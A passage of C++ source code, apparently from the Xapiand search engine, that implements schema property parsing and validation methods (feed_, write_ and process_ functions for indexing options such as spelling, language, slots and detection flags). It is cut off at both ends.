specification.position.push_back(static_cast<Xapian::termpos>(prop_obj.u64())); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_POSITION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_spelling(const MsgPack& prop_obj) { L_CALL("Schema::feed_spelling({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.spelling.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_boolean()) { specification.spelling.push_back(prop_item_obj.boolean()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_SPELLING, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else if (prop_obj.is_boolean()) { specification.spelling.clear(); specification.spelling.push_back(prop_obj.boolean()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_SPELLING, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_positions(const MsgPack& prop_obj) { L_CALL("Schema::feed_positions({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.positions.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_boolean()) { specification.positions.push_back(prop_item_obj.boolean()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_POSITIONS, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else if (prop_obj.is_boolean()) { specification.positions.clear(); specification.positions.push_back(prop_obj.boolean()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_POSITIONS, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_ngram(const MsgPack& prop_obj) { L_CALL("Schema::feed_ngram({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.ngram = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_NGRAM, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_cjk_ngram(const MsgPack& prop_obj) { L_CALL("Schema::feed_cjk_ngram({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.cjk_ngram = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_CJK_NGRAM, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_cjk_words(const MsgPack& prop_obj) { L_CALL("Schema::feed_cjk_words({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.cjk_words = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_CJK_WORDS, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_language(const MsgPack& prop_obj) { L_CALL("Schema::feed_language({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.language = prop_obj.str(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_LANGUAGE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_stop_strategy(const MsgPack& prop_obj) { L_CALL("Schema::feed_stop_strategy({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.stop_strategy = _get_stop_strategy(prop_obj.str_view()); if (specification.stop_strategy == StopStrategy::INVALID) { THROW(Error, "Schema is corrupt: '{}' in {} must be one of {}.", RESERVED_STOP_STRATEGY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name), str_set_stop_strategy); } } else if (prop_obj.is_number()) { specification.stop_strategy = static_cast<StopStrategy>(prop_obj.u64()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_STOP_STRATEGY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_stem_strategy(const MsgPack& prop_obj) { L_CALL("Schema::feed_stem_strategy({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.stem_strategy = enum_type<StemStrategy>(prop_obj.str_view()); if (specification.stem_strategy == StemStrategy::INVALID) { THROW(Error, "Schema is corrupt: '{}' in {} must be one of {}.", RESERVED_STEM_STRATEGY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name), str_set_stem_strategy); } } else if (prop_obj.is_number()) { specification.stem_strategy = static_cast<StemStrategy>(prop_obj.u64()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_STEM_STRATEGY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_stem_language(const MsgPack& prop_obj) { L_CALL("Schema::feed_stem_language({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.stem_language = prop_obj.str(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_STEM_LANGUAGE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_type(const MsgPack& prop_obj) { L_CALL("Schema::feed_type({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.set_types(prop_obj.str_view()); specification.flags.concrete = specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty; } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_TYPE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_accuracy(const MsgPack& prop_obj) { L_CALL("Schema::feed_accuracy({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.accuracy.clear(); specification.accuracy.reserve(prop_obj.size()); for (const auto& prop_item_obj : prop_obj) { uint64_t accuracy; if (prop_item_obj.is_string()) { auto accuracy_date = _get_accuracy_datetime(prop_item_obj.str_view()); if (accuracy_date != UnitTime::INVALID) { accuracy = toUType(accuracy_date); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ACCURACY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else if (prop_item_obj.is_number()) { accuracy = prop_item_obj.u64(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ACCURACY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.accuracy.push_back(accuracy); } } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ACC_PREFIX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_acc_prefix(const MsgPack& prop_obj) { L_CALL("Schema::feed_acc_prefix({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.acc_prefix.clear(); specification.acc_prefix.reserve(prop_obj.size()); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_string()) { specification.acc_prefix.push_back(prop_item_obj.str()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ACC_PREFIX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ACC_PREFIX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_prefix(const MsgPack& prop_obj) { L_CALL("Schema::feed_prefix({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.local_prefix.field.assign(prop_obj.str_view()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_PREFIX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_slot(const MsgPack& prop_obj) { L_CALL("Schema::feed_slot({})", repr(prop_obj.to_string())); if (prop_obj.is_number()) { specification.slot = static_cast<Xapian::valueno>(prop_obj.u64()); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_SLOT, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_index(const MsgPack& prop_obj) { L_CALL("Schema::feed_index({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.index = _get_index(prop_obj.str_view()); if (specification.index == TypeIndex::INVALID) { THROW(Error, "Schema is corrupt: '{}' in {} must be one of {}.", RESERVED_INDEX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name), str_set_index); } specification.flags.has_index = true; } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_INDEX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_store(const MsgPack& prop_obj) { L_CALL("Schema::feed_store({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.parent_store = specification.flags.store; specification.flags.store = prop_obj.boolean() && specification.flags.parent_store; } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_STORE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_recurse(const MsgPack& prop_obj) { L_CALL("Schema::feed_recurse({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.recurse = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_RECURSE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_ignore(const MsgPack& prop_obj) { L_CALL("Schema::feed_ignore({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.ignored.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_string()) { auto ignored = prop_item_obj.str(); if (ignored == "*") { specification.flags.recurse = false; } specification.ignored.insert(ignored); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_INDEX, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else if (prop_obj.is_string()) { auto ignored = prop_obj.str(); if (ignored == "*") { specification.flags.recurse = false; } specification.ignored.clear(); specification.ignored.insert(ignored); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_IGNORE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_dynamic(const MsgPack& prop_obj) { L_CALL("Schema::feed_dynamic({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.dynamic = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_DYNAMIC, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_strict(const MsgPack& prop_obj) { L_CALL("Schema::feed_strict({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.strict = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_STRICT, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_date_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_date_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.date_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_DATE_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_datetime_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_datetime_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.datetime_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_DATETIME_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_time_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_time_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.time_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_TIME_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_timedelta_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_timedelta_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.timedelta_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_TIMEDELTA_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_numeric_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_numeric_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.numeric_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_NUMERIC_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_geo_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_geo_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.geo_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_GEO_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_bool_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_bool_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.bool_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_BOOL_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_text_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_text_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.text_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_TEXT_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_uuid_detection(const MsgPack& prop_obj) { L_CALL("Schema::feed_uuid_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.uuid_detection = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_UUID_DETECTION, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_bool_term(const MsgPack& prop_obj) { L_CALL("Schema::feed_bool_term({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.bool_term = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_BOOL_TERM, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_partials(const MsgPack& prop_obj) { L_CALL("Schema::feed_partials({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.partials = prop_obj.boolean(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_PARTIALS, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_error(const MsgPack& prop_obj) { L_CALL("Schema::feed_error({})", repr(prop_obj.to_string())); if (prop_obj.is_number()) { specification.error = prop_obj.f64(); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ERROR, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_namespace(const MsgPack& prop_obj) { L_CALL("Schema::feed_namespace({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.is_namespace = prop_obj.boolean(); specification.flags.has_namespace = true; } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_NAMESPACE, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_partial_paths(const MsgPack& prop_obj) { L_CALL("Schema::feed_partial_paths({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.partial_paths = prop_obj.boolean(); specification.flags.has_partial_paths = true; } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_PARTIAL_PATHS, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_index_uuid_field(const MsgPack& prop_obj) { L_CALL("Schema::feed_index_uuid_field({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.index_uuid_field = _get_index_uuid_field(prop_obj.str_view()); if (specification.index_uuid_field == UUIDFieldIndex::INVALID) { THROW(Error, "Schema is corrupt: '{}' in {} must be one of {}.", RESERVED_INDEX_UUID_FIELD, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name), str_set_index_uuid_field); } } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_INDEX_UUID_FIELD, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_script([[maybe_unused]] const MsgPack& prop_obj) { L_CALL("Schema::feed_script({})", repr(prop_obj.to_string())); #ifdef XAPIAND_CHAISCRIPT specification.script = std::make_unique<const MsgPack>(prop_obj); specification.flags.normalized_script = true; #else THROW(ClientError, "{} only is allowed when ChaiScript is actived", RESERVED_SCRIPT); #endif } void Schema::feed_endpoint(const MsgPack& prop_obj) { L_CALL("Schema::feed_endpoint({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.endpoint.assign(prop_obj.str_view()); specification.flags.static_endpoint = true; } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ENDPOINT, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::write_position(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_POSITION is heritable and can change between documents. L_CALL("Schema::write_position({})", repr(prop_obj.to_string())); process_position(prop_name, prop_obj); mut_properties[prop_name] = specification.position; } void Schema::write_weight(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_WEIGHT property is heritable and can change between documents. L_CALL("Schema::write_weight({})", repr(prop_obj.to_string())); process_weight(prop_name, prop_obj); mut_properties[prop_name] = specification.weight; } void Schema::write_spelling(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_SPELLING is heritable and can change between documents. L_CALL("Schema::write_spelling({})", repr(prop_obj.to_string())); process_spelling(prop_name, prop_obj); mut_properties[prop_name] = specification.spelling; } void Schema::write_positions(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_POSITIONS is heritable and can change between documents. L_CALL("Schema::write_positions({})", repr(prop_obj.to_string())); process_positions(prop_name, prop_obj); mut_properties[prop_name] = specification.positions; } void Schema::write_index(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_INDEX is heritable and can change. L_CALL("Schema::write_index({})", repr(prop_obj.to_string())); process_index(prop_name, prop_obj); mut_properties[prop_name] = _get_str_index(specification.index); } void Schema::write_store(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_store({})", repr(prop_obj.to_string())); /* * RESERVED_STORE is heritable and can change, but once fixed in false * it cannot change in its offsprings. */ process_store(prop_name, prop_obj); mut_properties[prop_name] = prop_obj.boolean(); } void Schema::write_recurse(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_recurse({})", repr(prop_obj.to_string())); /* * RESERVED_RECURSE is heritable and can change, but once fixed in false * it does not process its children. */ process_recurse(prop_name, prop_obj); mut_properties[prop_name] = static_cast<bool>(specification.flags.recurse); } void Schema::write_ignore(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_ignore({})", repr(prop_obj.to_string())); /* * RESERVED_IGNORE is heritable and can change, but once fixed in false * it does not process its children. */ process_ignore(prop_name, prop_obj); if (!specification.ignored.empty()) { mut_properties[prop_name] = MsgPack::ARRAY(); for (const auto& item : specification.ignored) { mut_properties[prop_name].append(item); } } } void Schema::write_dynamic(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_DYNAMIC is heritable but can't change. L_CALL("Schema::write_dynamic({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.dynamic = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.dynamic); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_strict(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STRICT is heritable but can't change. L_CALL("Schema::write_strict({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.strict = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.strict); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_date_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_DATE_DETECTION is heritable and can't change. L_CALL("Schema::write_date_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.date_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.date_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_datetime_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_DATETIME_DETECTION is heritable and can't change. L_CALL("Schema::write_datetime_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.datetime_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.datetime_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_time_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TIME_DETECTION is heritable and can't change. L_CALL("Schema::write_time_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.time_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.time_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_timedelta_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TD_DETECTION is heritable and can't change. L_CALL("Schema::write_timedelta_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.timedelta_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.timedelta_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_numeric_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_N_DETECTION is heritable and can't change. L_CALL("Schema::write_numeric_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.numeric_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.numeric_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_geo_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_G_DETECTION is heritable and can't change. L_CALL("Schema::write_geo_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.geo_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.geo_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_bool_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_B_DETECTION is heritable and can't change. L_CALL("Schema::write_bool_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.bool_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.bool_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_text_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_T_DETECTION is heritable and can't change. L_CALL("Schema::write_text_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.text_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.text_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_uuid_detection(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_U_DETECTION is heritable and can't change. L_CALL("Schema::write_uuid_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.uuid_detection = prop_obj.boolean(); mut_properties[prop_name] = static_cast<bool>(specification.flags.uuid_detection); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_bool_term(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_BOOL_TERM isn't heritable and can't change. L_CALL("Schema::write_bool_term({})", repr(prop_obj.to_string())); process_bool_term(prop_name, prop_obj); mut_properties[prop_name] = static_cast<bool>(specification.flags.bool_term); } void Schema::write_namespace(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_NAMESPACE isn't heritable and can't change once fixed. L_CALL("Schema::write_namespace({})", repr(prop_obj.to_string())); if (specification.flags.field_found) { return consistency_namespace(prop_name, prop_obj); } if (prop_obj.is_boolean()) { // Only save in Schema if RESERVED_NAMESPACE is true. specification.flags.is_namespace = prop_obj.boolean(); if (specification.flags.is_namespace && !specification.flags.has_partial_paths) { specification.flags.partial_paths = specification.flags.partial_paths; } specification.flags.has_namespace = true; mut_properties[prop_name] = static_cast<bool>(specification.flags.is_namespace); } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } void Schema::write_partial_paths(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_partial_paths({})", repr(prop_obj.to_string())); /* * RESERVED_PARTIAL_PATHS is heritable and can change. */ process_partial_paths(prop_name, prop_obj); mut_properties[prop_name] = static_cast<bool>(specification.flags.partial_paths); } void Schema::write_index_uuid_field(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_index_uuid_field({})", repr(prop_obj.to_string())); /* * RESERVED_INDEX_UUID_FIELD is heritable and can change. */ process_index_uuid_field(prop_name, prop_obj); mut_properties[prop_name] = _get_str_index_uuid_field(specification.index_uuid_field); } void Schema::write_schema(MsgPack& /*unused*/, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_schema({})", repr(prop_obj.to_string())); consistency_schema(prop_name, prop_obj); } void Schema::write_settings(MsgPack& /*unused*/, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_settings({})", repr(prop_obj.to_string())); consistency_settings(prop_name, prop_obj); } void Schema::write_endpoint(MsgPack& mut_properties, std::string_view prop_name, const MsgPack& prop_obj) { L_CALL("Schema::write_endpoint({})", repr(prop_obj.to_string())); process_endpoint(prop_name, prop_obj); specification.flags.static_endpoint = true; mut_properties[prop_name] = specification.endpoint; } void Schema::process_ngram(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::process_ngram({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.ngram = prop_obj.boolean(); } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_cjk_ngram(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::process_cjk_ngram({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.cjk_ngram = prop_obj.boolean(); } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_cjk_words(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::process_cjk_words({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { specification.flags.cjk_words = prop_obj.boolean(); } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_language(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_LANGUAGE isn't heritable and can't change once fixed. L_CALL("Schema::process_language({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { const auto str_language = prop_obj.str_view(); const auto& stem = _get_stem_language(str_language); if (stem.first && stem.second != "unknown") { specification.language = stem.second; specification.aux_language = stem.second; } else { THROW(ClientError, "{}: {} is not supported", repr(prop_name), repr(str_language)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_prefix(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_prefix isn't heritable and can't change once fixed. L_CALL("Schema::process_prefix({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { specification.local_prefix.field.assign(prop_obj.str_view()); } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void Schema::process_slot(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_SLOT isn't heritable and can't change once fixed. L_CALL("Schema::process_slot({})", repr(prop_obj.to_string())); if (prop_obj.is_number()) { auto slot = static_cast<Xapian::valueno>(prop_obj.u64()); if (slot == Xapian::BAD_VALUENO) { THROW(ClientError, "{} invalid slot ({} not supported)", repr(prop_name), slot); } specification.slot = slot; } else { THROW(ClientError, "Data inconsistency, {} must be integer", repr(prop_name)); } } void Schema::process_stop_strategy(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_STOP_STRATEGY isn't heritable and can't change once fixed. L_CALL("Schema::process_stop_strategy({})", repr(prop_obj.to_string())); if (prop_obj.is_string()) { auto str_stop_strategy = prop_obj.str_view(); specification.stop_strategy = _get_stop_strategy(str_stop_strategy); if (specification.stop_strategy == StopStrategy::INVALID) { THROW(ClientError, "{} can be in {} ({} not supported)", repr(prop_name), str_set_stop_strategy, repr(str_stop_strategy)); } } else { THROW(ClientError, "Data inconsistency, {} must be string", repr(prop_name)); } } void 